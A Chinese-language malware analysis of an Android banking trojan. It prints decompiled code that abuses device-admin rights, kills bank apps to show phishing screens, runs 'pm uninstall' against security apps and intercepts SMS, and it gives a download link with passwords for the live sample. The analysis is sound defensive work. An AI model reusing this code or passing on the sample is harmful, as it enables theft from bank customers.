android病毒“银行悍匪”独家分析

一、  病毒样本基本信息

FileName: b5910a432d2b866e1028f31874edb32f .apk
File MD5: b5910a432d2b866e1028f31874edb32f

SHA1:0CEEB0A29AC4B24E1EFDD0F57ACFC64388CF5AC1

File Size: 829006 Byte

Package：langthing.nend   

Download：http://yunpan.cn/Q4qHuRLaNivtd    访问密码 3a90     解压密码：52pojie

// 该病毒首先伪装成系统程序防止卸载；然后试着去卸载安全软件；监测各种银行应用；对需要拦截短信的关键字进行了加密，增加了分析的难度；没有MAIN和LAUNCHER组件,安装后没有图标，防止用户察觉到安装了应用

二、  病毒代码分析

查看AndroidManifest.xml配置文件，可以发现赋予了病毒非常多的权限，且是高危的权限，例如发送短信、拨打电话、读取日志文件、重启应用程序等等，且没有MAIN和LAUNCHER组件

  xmlns:android="http://schemas.android.com/apk/res/android">

     //接收短信

         //发送短信

        //读取短息

     //编辑短信

       //读取通讯录

      //读取系统设置的数据库权限

              //读取日志文件

    //编辑通讯录联系人

    //读取电话状态

            //拨打电话

    //接收开机信息

     //获取运行程序信息

//重启应用程序

查看AndroidManifest.xml配置文件，可以发现当手机接收到TReceiver、eviceAdminReceiver、Alarmreceiver等组件时就会启动程序

receiver android:name=".TReceiver">

恶意注入代码的代码树如下：

 

当程序安装后，会伪装成系统程序，防止卸载。如图：

 

查看langthing.nend.main伪装成系统代码如下：

private void b()

  {

    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");

    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.c);

    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "------ android ------");  //  伪装成系统应用

    startActivityForResult(localIntent, 1);

  }

当应用监测到银行客户端启动时，就会终止个银行进程，并为工商银行、淘宝等定制了高仿真“钓鱼界面”

private void e()

  {

    ComponentName localComponentName = ((ActivityManager.RunningTaskInfo)p.getRunningTasks(1).get(0)).topActivity;

    ActivityManager localActivityManager = (ActivityManager)getSystemService("activity");

    String str = localComponentName.getClassName();

    if ((str.contains("gs.gs")) || (str.contains("js.js")) || (str.contains("jt.jt")) || (str.contains("tb.tb")) || (str.contains("dz.dz")))

    {

      if (a(getApplicationContext(), "com.icbc"))

        localActivityManager.restartPackage("com.icbc");

      if (a(getApplicationContext(), "com.chinamworld.main"))

        localActivityManager.restartPackage("com.chinamworld.main");

      if (a(getApplicationContext(), "com.bankcomm"))

        localActivityManager.restartPackage("com.bankcomm");

      if (a(getApplicationContext(), "com.taobao.taobao"))

        localActivityManager.restartPackage("com.taobao.taobao");

      if (a(getApplicationContext(), "com.android.bankabc"))

        localActivityManager.restartPackage("com.android.bankabc");

      if (a(getApplicationContext(), "cmb.pb"))

        localActivityManager.restartPackage("cmb.pb");

      if (a(getApplicationContext(), "com.rytong.bankgdb"))

        localActivityManager.restartPackage("com.rytong.bankgdb");

      if (a(getApplicationContext(), "com.cib.bankcib"))

        localActivityManager.restartPackage("com.cib.bankcib");

      if (a(getApplicationContext(), "com.rytong.bankps"))

        localActivityManager.restartPackage("com.rytong.bankps");

      if (a(getApplicationContext(), "cn.com.njcb.android.mobilebank"))

        localActivityManager.restartPackage("cn.com.njcb.android.mobilebank");

      if (a(getApplicationContext(), "com.ecitic.bank.mobile"))

        localActivityManager.restartPackage("com.ecitic.bank.mobile");

      if (a(getApplicationContext(), "com.cebbank.bankebb"))

        localActivityManager.restartPackage("com.cebbank.bankebb");

      if (a(getApplicationContext(), "cn.com.cmbc.mbank"))

        localActivityManager.restartPackage("cn.com.cmbc.mbank");

      if (a(getApplicationContext(), "cn.com.spdb.mobilebank.per"))

        localActivityManager.restartPackage("cn.com.spdb.mobilebank.per");

      if (a(getApplicationContext(), "com.pingan.pabank.activity"))

        localActivityManager.restartPackage("com.pingan.pabank.activity");

      if (a(getApplicationContext(), "com.gzrcb.mobilebank"))

        localActivityManager.restartPackage("com.gzrcb.mobilebank");

      if (a(getApplicationContext(), "cn.com.cqb.mobilebank.per"))

        localActivityManager.restartPackage("cn.com.cqb.mobilebank.per");

      if (a(getApplicationContext(), "com.chinamworld.bocmbci"))

        localActivityManager.restartPackage("com.chinamworld.bocmbci");

      if (a(getApplicationContext(), "com.rytong.app.bankhx"))

        localActivityManager.restartPackage("com.rytong.app.bankhx");

      if (a(getApplicationContext(), "com.csii.huzhou.mobilebank"))

        localActivityManager.restartPackage("com.csii.huzhou.mobilebank");

      if (a(getApplicationContext(), "cn.com.shbank.mper"))

        localActivityManager.restartPackage("cn.com.shbank.mper");

      if (a(getApplicationContext(), "com.rytong.bankqd"))

        localActivityManager.restartPackage("com.rytong.bankqd");

      if (a(getApplicationContext(), "com.tlbank"))

        localActivityManager.restartPackage("com.tlbank");

      if (a(getApplicationContext(), "com.sookin.scyh"))

        localActivityManager.restartPackage("com.sookin.scyh");

      if (a(getApplicationContext(), "cn.com.hzb.mobilebank.per"))

        localActivityManager.restartPackage("cn.com.hzb.mobilebank.per");

      if (a(getApplicationContext(), "com.chinamworld.klb"))

        localActivityManager.restartPackage("com.chinamworld.klb");

}

if (str.contains("icbc"))

    {

      Cursor localCursor27 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "gs" }, null, null, null);

      if ((localCursor27.moveToFirst()) && (localCursor27.getInt(localCursor27.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.icbc");

        new Intent("android.intent.action.MAIN");

        Intent localIntent53 = new Intent("android.intent.action.MAIN");

        localIntent53.setFlags(268435456);

        localIntent53.addCategory("android.intent.category.HOME");

        startActivity(localIntent53);

        Intent localIntent54 = new Intent(getApplicationContext(), gs.class);

        localIntent54.setFlags(268435456);

        startActivity(localIntent54);

      }

    }

    if (str.contains("com.chinamworld.main"))

    {

      Cursor localCursor26 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "js" }, null, null, null);

      if ((localCursor26.moveToFirst()) && (localCursor26.getInt(localCursor26.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.chinamworld.main");

        new Intent("android.intent.action.MAIN");

        Intent localIntent51 = new Intent("android.intent.action.MAIN");

        localIntent51.setFlags(268435456);

        localIntent51.addCategory("android.intent.category.HOME");

        startActivity(localIntent51);

        Intent localIntent52 = new Intent(getApplicationContext(), js.class);

        localIntent52.setFlags(268435456);

        startActivity(localIntent52);

      }

    }

    if (str.contains("bankcomm"))

    {

      Cursor localCursor25 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "jt" }, null, null, null);

      if ((localCursor25.moveToFirst()) && (localCursor25.getInt(localCursor25.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.bankcomm");

        new Intent("android.intent.action.MAIN");

        Intent localIntent49 = new Intent("android.intent.action.MAIN");

        localIntent49.setFlags(268435456);

        localIntent49.addCategory("android.intent.category.HOME");

        startActivity(localIntent49);

        Intent localIntent50 = new Intent(getApplicationContext(), jt.class);

        localIntent50.setFlags(268435456);

        startActivity(localIntent50);

      }

    }

    if (str.contains("taobao"))

    {

      Cursor localCursor24 = c.a("yh", new String[] { "_id", "mc", "jilu" }, "mc=?", new String[] { "tb" }, null, null, null);

      if ((localCursor24.moveToFirst()) && (localCursor24.getInt(localCursor24.getColumnIndex("jilu")) == 0))

      {

        localActivityManager.restartPackage("com.taobao.taobao");

        new Intent("android.intent.action.MAIN");

        Intent localIntent47 = new Intent("android.intent.action.MAIN");

        localIntent47.setFlags(268435456);

        localIntent47.addCategory("android.intent.category.HOME");

        startActivity(localIntent47);

        Intent localIntent48 = new Intent(getApplicationContext(), tb.class);

        localIntent48.setFlags(268435456);

        startActivity(localIntent48);

      }

//  终止各银行进程

查找安全软件并卸载安全软件

for (g = "Already root"; ; g = "NOroot")

   {

     this.C = 5;

     this.E = 5;

     this.B = new String[this.C];

     this.D = new String[this.E];

     this.B[0] = "pm uninstall com.qihoo360.mobilesafe";     //卸载360、腾讯、金山等相关的安全软件

     this.B[1] = "pm uninstall com.tencent.qqpimsecure"; 

     this.B[2] = "pm uninstall com.ijinshan.mguard";       

     this.B[3] = "pm uninstall com.ijinshan.duba";           

     this.B[4] = "pm uninstall com.anguanjia.safe";

     this.D[0] = "com.qihoo360.mobilesafe";

     this.D[1] = "com.tencent.qqpimsecure";

     this.D[2] = "com.ijinshan.mguard";

     this.D[3] = "com.ijinshan.duba";

     this.D[4] = "com.anguanjia.safe";

     this.s = new o();

拦截相关短信：

f (i5 == 1)

          if ((server.f == 0) && (server.a != i3))

          {

            server.a(this.a, 1);

            server.b(this.a, i3);

            str4 = "接收";

            server.a(this.a, new o());

            String str5 = server.d(this.a).a(this.a.getApplicationContext());

            server.a(this.a, new n());

            server.g(this.a).a(this.a.getApplicationContext(), str2, str1, str5);

            localStringBuilder.append("[ ");

            localStringBuilder.append(str1 + ", ");

            localStringBuilder.append(i4 + ", ");

            localStringBuilder.append(str2 + ", ");

            localStringBuilder.append(str3 + ", ");

            localStringBuilder.append(str4);

            localStringBuilder.append(" ]\n\n");

            if (!localCursor1.isClosed())

              localCursor1.close();

          }

      }

      while (true)

      {

        localStringBuilder.append("getSmsInPhone has executed!");

        super.onChange(paramBoolean);

        return;

        server.f = 0;

        break;

        if (i5 != 2)

          break;

        if (server.b == i3)

          break label760;

        Cursor localCursor2 = server.c.a("send", null, null, null, null, null, "_id ASC");

        if (localCursor2.moveToFirst())

        {

          localCursor2.getColumnIndex("_id");

          int i6 = localCursor2.getColumnIndex("sSend");

          do

            server.a(this.a, localCursor2.getString(i6));

          while (localCursor2.moveToNext());

        }

        localCursor2.close();

        if (server.h(this.a).equals("1"))

        {

          server.a(this.a, new o());

          server.a(this.a, new n());

          String str6 = server.d(this.a).a(this.a.getApplicationContext());

          server.a(this.a, str2 + ";" + str1, str6);

        }

        server.b = i3;

        str4 = "发送";

        break;

        localStringBuilder.append("no result!");

      }

    }

    catch (SQLiteException localSQLiteException)

    {

      while (true)

      {

        continue;

        label760: String str4 = "null";

      }

    }

  }

}

解密密钥：

public void a()

  {

    try

    {

      InputStream localInputStream = getAssets().open("unhi.db");     // 密钥

      FileOutputStream localFileOutputStream = new FileOutputStream(this.q + "unhi.db");

      byte[] arrayOfByte = new byte[1024];

      while (true)

      {

        int i1 = localInputStream.read(arrayOfByte);

        if (i1 <= 0)

        {

          localFileOutputStream.flush();

          localFileOutputStream.close();

          localInputStream.close();

          return;

        }

        localFileOutputStream.write(arrayOfByte, 0, i1);

      }

    }

    catch (Exception localException)

    {

    }

  }

  public void a(String paramString)

  {

    if (!new File(paramString).exists())

      a();

  }

  public void c()

  {

    new l(this).start();

  }

  public IBinder onBind(Intent paramIntent)

  {

    return null;

  }

  public void onCreate()

  {

    this.u = new e();

    IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

    localIntentFilter.setPriority(2147483647);

    registerReceiver(this.u, localIntentFilter);

    p = (ActivityManager)getSystemService("activity");

    this.F = 0;

this.j = false;

b(this.s.a(getApplicationContext()), "201305:" + g + ";ver:" + Build.VERSION.RELEASE + ";Model:" + Build.MODEL);

      this.q = (getApplicationContext().getFilesDir().getAbsolutePath() + "/");

      a(this.q + "unhi.db");

      c = new a(this, getApplicationContext().getFilesDir().getAbsolutePath() + "/unhi.db", null, 1);

      m localm = new m(this, new Handler());

      getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true, localm);

      Intent localIntent = new Intent(getApplicationContext(), log.class);

      localIntent.setFlags(268435456);

      startService(localIntent);

三、  总结

该病毒尝试着去卸载安全软件；采用了加密技术，增加了分析难度；并隐藏运行界面，防止用户察觉。可以看出移动安全问题越演越烈，且手段越来越高明，增加了分析难度。

// 由于本人对于密码学方面还没有Hello World的水平，所以无法解密相关信息，水平有限。